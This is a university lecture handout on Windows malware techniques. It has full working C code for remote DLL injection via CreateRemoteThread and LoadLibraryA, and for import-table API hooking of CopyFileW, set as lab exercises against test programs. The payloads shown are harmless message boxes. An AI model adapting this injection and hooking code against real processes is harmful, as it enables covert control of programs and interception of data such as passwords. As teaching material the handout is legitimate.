Lecture 14. Malware: API hooking

(Choose "multibyte character set" for all program: proj property>general>character set.)

1. malware

scan/sniff System vulnerability (buffer overflow, openssl heartbleed, …)

=> break-in

=> malware installation (virus, backdoor, rootkit, ransomware, …)

=> system control (dll injection, api hooking, …)

2. DLL(Dynamic Link Library) injection

2.1 DLL injection into my process

-making DLL file: test.dll

-- win32 proj > next > uncheck all extra options; check empty project; check DLL

> build all

-- above will produce xxx.dll

-loading DLL

LoadLibrary("test.dll");

2.2 DLL injection into other people's process, e.g. p2

- MakeDLL file: test.dll

- Make p2execute LoadLibrary("test.dll")

-- write "test.dll" string in P2's address space: pRemoteBuf

hProcess=OpenProcess(…., P2's pid);

pRemoteBuf=VirtualAllocEx(hProcess, ……….);

WriteProcessMemory(hProcess, pRemoteBuf, "test.dll", ..);

-- call LoadLibrary(pRemoteBuf) remotely in P2’s address space

3. API hooking

The injected DLL file performs API hooking.

- Find target API’s used in the victim program.

- Replace them with attacker’s APIs.

- Attacker’s API performs malicious action (such as intercepting password) and calls the original API.

4. Example

4.1. target project: Make target.exe as an empty project.

target.cpp

#include <windows.h>

#include <stdio.h>

int main(){

printf("hello from target\n");

for(;;);

}

4.2 access project: You can access a running process in the current process. Explain the result.

access project:

#include "windows.h"

#include "psapi.h"

#include "stdio.h"

int main(){

// get handle of the victim process. assume 3436 is the PID of the target.exe

// find pid of target.exe with Taskmanager.

HANDLE hProcess=

OpenProcess(PROCESS\_ALL\_ACCESS,FALSE,3436);

// and display some information about the victim

DWORD res=GetPriorityClass(hProcess); // priority class of the victim

printf("priority:%x\n", res);

// also display the name of the program name

char buf[MAX\_PATH];

GetModuleFileNameEx(hProcess, 0, buf, MAX\_PATH);

printf("program name:%s\n", buf);

}

4.3 runTarget project: Run target.exe program with CreateProcess (similar to fork & exec in Linux). OpenProcess accesses an already running process while CreateProcess creates a process from an exectable file. (If you have "const char" error, project property>c/c++>language>conformance> set NO to /permissive)

#include <windows.h>

#include <stdio.h>

int main(){

STARTUPINFO si;

PROCESS\_INFORMATION pi;

ZeroMemory(&si, sizeof(si));

si.cb=sizeof(si);

ZeroMemory(&pi, sizeof(pi));

char \*fname="G:\\kim\\LectureNotes\\security\\2017\\malware\\target\\Debug\\target.exe";

if (!CreateProcess(NULL, fname, NULL,NULL,FALSE,0,NULL,NULL,&si,&pi)){

printf("createprocess failed:%d\n", GetLastError());

return 0;

}

// now pi.hProcess is the handle to the new process, pi.dwProcessId is the pid

printf("child pid:%d\n", pi.dwProcessId); // show child's pid

WaitForSingleObject(pi.hProcess, INFINITE); // wait until child is done

CloseHandle(pi.hProcess);

CloseHandle(pi.hThread);

}

The above program should run "target.exe".

4.4 GetCurrentProcessId() returns the pid of the current process. Use this so that the parent and child both print their PIDs and confirm the PID printed by the child is same as pi.dwProcessId.

4.5 Modify runTarget so that you can confirm the program name created is indeed same as one provided. Use GetModuleFileNameEx.

4.6 Run notepad.exe using CreateProcess. Confirm the PID of notepad.exe is correct (check with the Windows Task Manager). Notepad.exe is typically located in C:\Windows.

4.7 LoadLibrary in current process (Dll injection into current process)

We can load DLL into current process.

test.dll

(win32 console> project name "test" > next>check "DLL", uncheck all extra option and check "empty proj")

(Also for later version of visual studio, overwrite dllmain.cpp with the code below and

disable precompiled header (c/c++>precompiled header>No)

)

#include "windows.h"

void foo(int x){

printf("you called foo with %d\n", x);

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason,LPVOID lpvReserved){

switch(fdwReason){

case DLL\_PROCESS\_ATTACH:

MessageBox(NULL,"test","test",NULL);

foo(30);

break;

}

return TRUE;

}

When you compile above, you should have test.dll in test/Debug folder. Remember you can not run DLL file; you can only load it into another program.

loadDll project

#include "windows.h"

int main(){

LoadLibrary("G:\\kim\\LectureNotes\\security\\2017\\malware\\test\\Debug\\test.dll");

}

The above program should load "test.dll". When a dll is loaded, the system automatically runs its "DllMain()" which, in this case, displays a message box.

4.8 Dll is not a child process: it is a library module linked with the current program. Modify test.dll so that it displays the current process PID, and let loadDll print its current process PID also. Explain the result.

4.9 System DLL (such as kernel32.dll) provides APIs and we can find the memory address of an API function with GetProcAddress. Try below and explain the result.

findFunc1 project:

#include "windows.h"

int main(){

HMODULE hMod=GetModuleHandle("kernel32.dll");

LPTHREAD\_START\_ROUTINE pThreadProc=

(LPTHREAD\_START\_ROUTINE)GetProcAddress(hMod,"LoadLibraryA");

printf("findFunc1 LoadLibrary at:%p\n", pThreadProc);

}

findFunc2 project:

#include "windows.h"

int main(){

HMODULE hMod=GetModuleHandle("kernel32.dll");

LPTHREAD\_START\_ROUTINE pThreadProc=

(LPTHREAD\_START\_ROUTINE)GetProcAddress(hMod,"LoadLibraryA");

printf("findFunc2 LoadLibrary at:%p\n", pThreadProc);

}

4.10 writeRemote project: writing into another process space. We can write arbitrary data into the space of another program. Run target.exe and run writeRemote.exe. writeRemote.exe will write "remote hello" into the memory space of target.exe. Explain the result. Uncomment (1) and run and explain the result.

#include "windows.h"

#include "stdio.h"

int main() {

LPCTSTR szDllName = "remote hello";

// get handle of target process

HANDLE hProcess =

OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, 3436); // 3436 is target.exe pid

// get handle of current process for comparison

HANDLE hProcessCurr =

OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, GetCurrentProcessId()); // cur proc pid

// alloc mem in target's addr space

DWORD dwBufSize = 20;

LPVOID pRemoteBuf =

VirtualAllocEx(hProcess, NULL, dwBufSize, MEM\_COMMIT, PAGE\_READWRITE);

// also alloc mem in current process's addr space for comparison

LPVOID pRemoteBufCurr =

VirtualAllocEx(hProcessCurr, NULL, dwBufSize, MEM\_COMMIT, PAGE\_READWRITE);

// write "remote hello" into remote memory

WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName, dwBufSize, NULL);

// also write it into curr space for comparison

WriteProcessMemory(hProcessCurr, pRemoteBufCurr, (LPVOID)szDllName, dwBufSize, NULL);

// pRemoteBuf is the address in the remote process

printf("buf addr:%p\n", pRemoteBuf);

// pRemoteBufCurr is the address in the current process

printf("bufcurr addr:%p\n", pRemoteBufCurr);

printf("bufcurr:%s\n", pRemoteBufCurr); // we can display string in curr space

//printf("buf:%s\n", pRemoteBuf); // (1). but we can't display remote string

CloseHandle(hProcess);

CloseHandle(hProcessCurr);

}

4.11 injectDLL project: Injecting attacking DLL into another process. We can call LoadLibrary in the victim process to inject a DLL program into the victim.

1) Access the victim.

2) Write DLL name in the victim address space.

3) Remotely call LoadLibrary in the victim process (target.exe) to inject attacking DLL. Run target.exe first and run injectDLL. Then, injectDll will inject test.dll into the running target.exe.

injectDLL project:

#include "windows.h"

int main(){

LPCTSTR szDllName= // attack dll path

"D:\\kim\\LectureNotes\\security\\2019\\malware\\test\\Debug\\test.dll";

// step 1. get handle of victim process

HANDLE hProcess=

OpenProcess(PROCESS\_ALL\_ACCESS,FALSE,1234); // 1234 is victim's pid

// step 2. alloc mem in target's addr space to store attack dll path to injection code

DWORD dwBufSize=lstrlen(szDllName)+1;

LPVOID pRemoteBuf=

VirtualAllocEx(hProcess,NULL,dwBufSize,MEM\_COMMIT,PAGE\_READWRITE);

// step 3. write "test.dll" path into alloc'd mem

WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)szDllName,dwBufSize,NULL);

// step 4. get LoadLibraryA addr which is in kernel32.dll.

// GetModuleHandle returns the handle of a DLL ("kernel32.dll")

// GetProcAddress will return address of a function ("LoadLibraryA") in a DLL ("kernel32.dll")

HMODULE hMod=GetModuleHandle("kernel32.dll");

LPTHREAD\_START\_ROUTINE pThreadProc=

(LPTHREAD\_START\_ROUTINE)GetProcAddress(hMod,"LoadLibraryA");

// step 5. run remote thread

// CreateRemoteThread will make a thread in the victim process ("hProcess").

// The thread starting location is pThreadProc, and its parameter in pRemoteBuf.

// This thread will run LoadLibraryA in the victim process which in turn will load testdll.dll

// and run it.

HANDLE hThread=

CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL);

WaitForSingleObject(hThread,INFINITE);

CloseHandle(hThread);

CloseHandle(hProcess);

return TRUE;

}

The above program will inject "test.dll" into "victim.exe". You should see a message box displayed by "test.dll".

4.12 Run victim process and inject DLL. (If you have "const char" error, project property>c/c++>language>conformance> set NO to /permissive)

injectDLL2:

#include <windows.h>

#include "stdio.h"

int main(){

STARTUPINFO si;

PROCESS\_INFORMATION pi;

ZeroMemory(&si, sizeof(si));

si.cb=sizeof(si);

ZeroMemory(&pi, sizeof(pi));

char \* fname=

"D:\\kim\\LectureNotes\\security\\2019\\malware\\target\\Debug\\target.exe";

if (!CreateProcess(NULL, fname, NULL,NULL,FALSE,0,NULL,NULL,&si,&pi)){

printf("createprocess failed:%d\n", GetLastError());

return 0;

}

// now pi.hProcess is the handle to the new process, pi.dwProcessId is the pid

printf("child pid:%d\n", pi.dwProcessId); // show child's pid

LPCTSTR szDllName=

"D:\\kim\\LectureNotes\\security\\2019\\malware\\test\\Debug\\test.dll";

// step 1. get handle of victim process

HANDLE hProcess=pi.hProcess;

// step 2. alloc mem in target's addr space by size of dwBufSize

DWORD dwBufSize=lstrlen(szDllName)+1;

LPVOID pRemoteBuf=

VirtualAllocEx(hProcess,NULL,dwBufSize,MEM\_COMMIT,PAGE\_READWRITE);

// step 3. write "dlltest.dll" path into alloc'd mem

WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)szDllName,dwBufSize,NULL);

// step 4. get LoadLibraryA addr

HMODULE hMod=GetModuleHandle("kernel32.dll");

LPTHREAD\_START\_ROUTINE pThreadProc=

(LPTHREAD\_START\_ROUTINE)GetProcAddress(hMod,"LoadLibraryA");

// step 5. run thread

HANDLE hThread=

CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL);

WaitForSingleObject(hThread,INFINITE);

CloseHandle(hThread);

CloseHandle(hProcess);

CloseHandle(pi.hThread);

return TRUE;

}

The above program will run "target.exe" and inject "test.dll" into "target.exe".

4.13 Injected DLL performs API hooking

victim2:(Before running this, you should make "f1.txt" in victim2/Debug directory)

#include "windows.h"

int main(){

MessageBox(NULL,"hello from victim2","test",NULL);

CopyFileW(

L"G:\\kim\\LectureNotes\\security\\2017\\malware\\victim2\\Debug\\f1.txt",

L"G:\\kim\\LectureNotes\\security\\2017\\malware\\victim2\\Debug\\f2.txt",

FALSE);

}

injectDLL3:

#include <windows.h>

#include "stdio.h"

int main(){

STARTUPINFO si;

PROCESS\_INFORMATION pi;

ZeroMemory(&si, sizeof(si));

si.cb=sizeof(si);

ZeroMemory(&pi, sizeof(pi));

char \* fname=

"G:\\kim\\LectureNotes\\security\\2017\\malware\\victim2\\Debug\\victim2.exe";

if (!CreateProcess(NULL, fname, NULL,NULL,FALSE,0,NULL,NULL,&si,&pi)){

printf("createprocess failed:%d\n", GetLastError());

return 0;

}

// now pi.hProcess is the handle to the new process, pi.dwProcessId is the pid

printf("child pid:%d\n", pi.dwProcessId); // show child's pid

LPCTSTR szDllName=

"G:\\kim\\LectureNotes\\security\\2017\\malware\\sharedModule\\Debug\\sharedModule.dll";

// step 1. get handle of victim process

HANDLE hProcess=pi.hProcess;

// step 2. alloc mem in target's addr space by size of dwBufSize

DWORD dwBufSize=lstrlen(szDllName)+1;

LPVOID pRemoteBuf=

VirtualAllocEx(hProcess,NULL,dwBufSize,MEM\_COMMIT,PAGE\_READWRITE);

// step 3. write "test.dll" path into alloc'd mem

WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)szDllName,dwBufSize,NULL);

// step 4. get LoadLibraryA addr

HMODULE hMod=GetModuleHandle("kernel32.dll");

LPTHREAD\_START\_ROUTINE pThreadProc=

(LPTHREAD\_START\_ROUTINE)GetProcAddress(hMod,"LoadLibraryA");

// step 5. run thread

HANDLE hThread=

CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL);

WaitForSingleObject(hThread,INFINITE);

CloseHandle(hThread);

CloseHandle(hProcess);

CloseHandle(pi.hThread);

return TRUE;

}

sharedModule.dll

(When compiling this, you need to add "imagehlp.lib" in the linker.

(Also for later version of visual studio, overwrite dllmain.cpp with the code below and

disable precompiled header (c/c++>precompiled header>No)

)

(original code is at: <https://www.codeproject.com/Articles/4118/API-Monitoring-Unleashed>)

#include "windows.h"

#include <stdio.h>

#include <imagehlp.h>

#include <stdlib.h>

HANDLE g\_hModule = INVALID\_HANDLE\_VALUE;

PROC g\_OriginalCopyFileW;

typedef BOOL WINAPI MyCopyFileW\_t

(

LPCWSTR lpExistingFileName,

LPCWSTR lpNewFileName,

BOOL bFailIfExists

);

BOOL WINAPI MyCopyFileW(LPCWSTR lpExistingFileName, LPCWSTR lpNewFileName, BOOL bFailIfExists)

{

BOOL ReturnValue;

MyCopyFileW\_t\* fn = (MyCopyFileW\_t\*)g\_OriginalCopyFileW;

ReturnValue = (\*fn)(lpExistingFileName, lpNewFileName, bFailIfExists);

return ReturnValue;

}

void SetHook(HMODULE hModuleOfCaller, LPSTR LibraryName, PROC OldFunctionPointer, PROC NewFunctionPointer)

{

if(hModuleOfCaller == g\_hModule)

return;

if(hModuleOfCaller == 0)

return;

ULONG ulSize;

// Get the address of the module's import section

PIMAGE\_IMPORT\_DESCRIPTOR pImportDesc =

(PIMAGE\_IMPORT\_DESCRIPTOR) ImageDirectoryEntryToData(

hModuleOfCaller,

TRUE,

IMAGE\_DIRECTORY\_ENTRY\_IMPORT,

&ulSize);

// Does this module have an import section ?

if (pImportDesc == NULL)

return;

// Loop through all descriptors and find the

// import descriptor containing references to callee's functions

while (pImportDesc->Name)

{

PSTR pszModName = (PSTR)((PBYTE) hModuleOfCaller + pImportDesc->Name);

if (stricmp(pszModName, LibraryName) == 0)

break; // Found

pImportDesc++;

} // while

if (pImportDesc->Name == 0)

return;

//Get caller's IAT

PIMAGE\_THUNK\_DATA pThunk = (PIMAGE\_THUNK\_DATA)( (PBYTE) hModuleOfCaller + pImportDesc->FirstThunk );

PROC pfnCurrent = OldFunctionPointer;

// Replace current function address with new one

while (pThunk->u1.Function)

{

// Get the address of the function address

PROC\* ppfn = (PROC\*) &pThunk->u1.Function;

// Is this the function we are looking for?

BOOL bFound = (\*ppfn == pfnCurrent);

if (bFound)

{

MEMORY\_BASIC\_INFORMATION mbi;

::VirtualQuery(ppfn, &mbi, sizeof(MEMORY\_BASIC\_INFORMATION));

// In order to provide writable access to this part of the

// memory we need to change the memory protection

if (FALSE == ::VirtualProtect(mbi.BaseAddress,mbi.RegionSize,PAGE\_READWRITE,&mbi.Protect))

return;

\*ppfn = \*NewFunctionPointer;

BOOL bResult = TRUE;

// Restore the protection back

DWORD dwOldProtect;

::VirtualProtect(mbi.BaseAddress,mbi.RegionSize,mbi.Protect,&dwOldProtect);

break;

} // if

pThunk++;

} // while

}

PROC EnumAndSetHooks(LPSTR BaseLibraryName, LPSTR BaseFunctionName, PROC NewFunctionPointer, bool UnHook, PROC Custom)

{

HMODULE hMods[1024];

DWORD cbNeeded;

unsigned int i;

typedef BOOL (WINAPI \* PFNENUMPROCESSMODULES)

(

HANDLE hProcess,

HMODULE \*lphModule,

DWORD cb,

LPDWORD lpcbNeeded

);

HMODULE hBaseLib = LoadLibrary(BaseLibraryName);

PROC hBaseProc;

if(UnHook)

hBaseProc = (PROC) Custom;

else

hBaseProc = GetProcAddress(hBaseLib, BaseFunctionName);

PFNENUMPROCESSMODULES m\_pfnEnumProcessModules;

HMODULE m\_hModPSAPI = ::LoadLibraryA("PSAPI.DLL");

m\_pfnEnumProcessModules = (PFNENUMPROCESSMODULES)::GetProcAddress(m\_hModPSAPI, "EnumProcessModules");

HANDLE hProcess = ::GetCurrentProcess();

if( m\_pfnEnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))

{

for ( i = 0; i < (cbNeeded / sizeof(HMODULE)); i++ )

{

SetHook(hMods[i], BaseLibraryName, hBaseProc, NewFunctionPointer);

}

}

return hBaseProc;

}

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul\_reason\_for\_call, LPVOID lpReserved)

{

switch (ul\_reason\_for\_call)

{

case DLL\_PROCESS\_ATTACH:

g\_hModule = hModule;

g\_OriginalCopyFileW = EnumAndSetHooks("KERNEL32.DLL", "CopyFileW", (PROC) MyCopyFileW, false, 0);

break;

case DLL\_PROCESS\_DETACH:

EnumAndSetHooks("KERNEL32.DLL", "CopyFileW", (PROC) GetProcAddress(LoadLibrary("KERNEL32"),"CopyFileW"), true, (PROC) MyCopyFileW);

break;

}

return TRUE;

}

In the above code, attack3 injects sharedModule.dll into victim2. At this point we have three threads: attack3, victim2, and sharaedModule.dll. attack3 is waiting on "WaitForSingleObject", victim2 runs first, display, "hello from victim2" and is waiting on user clicking on "Confirm" button. sharedModule.dll runs next and changes CopyFileW to MyCopyFileW. When the user clicks on "Confirm" button, victim2 runs "CopyFileW" which is changed to "MyCopyFileW" which will copy f1.txt to f2.txt (you should see f2.txt created in victim2/Debug).

4.14 Modify MyCopyFileW()

sharedModule:

..............

BOOL WINAPI MyCopyFileW(LPCWSTR lpExistingFileName, LPCWSTR lpNewFileName, BOOL bFailIfExists)

{

BOOL ReturnValue;

MessageBox(NULL,"hooked copy file",NULL,NULL);

MyCopyFileW\_t\* fn = (MyCopyFileW\_t\*)g\_OriginalCopyFileW;

ReturnValue = (\*fn)(lpExistingFileName, lpNewFileName, bFailIfExists);

return ReturnValue;

}

..................

In the above code, attack3 injects sharedModule.dll into victim2. At this point we have three threads: attack3, victim2, and sharaedModule.dll. attack3 is waiting on "WaitForSingleObject", victim2 runs first, display, "hello from victim2" and is waiting on user clicking on "Confirm" button. sharedModule.dll runs next and changes CopyFileW to MyCopyFileW. When the user clicks on "Confirm" button, victim2 runs "CopyFileW" which is changed to "MyCopyFileW" which in turn displays "hooked copy file" and performs actual file copying.

5. Homework

Try the code in 4.1-4.14 above and explain the results.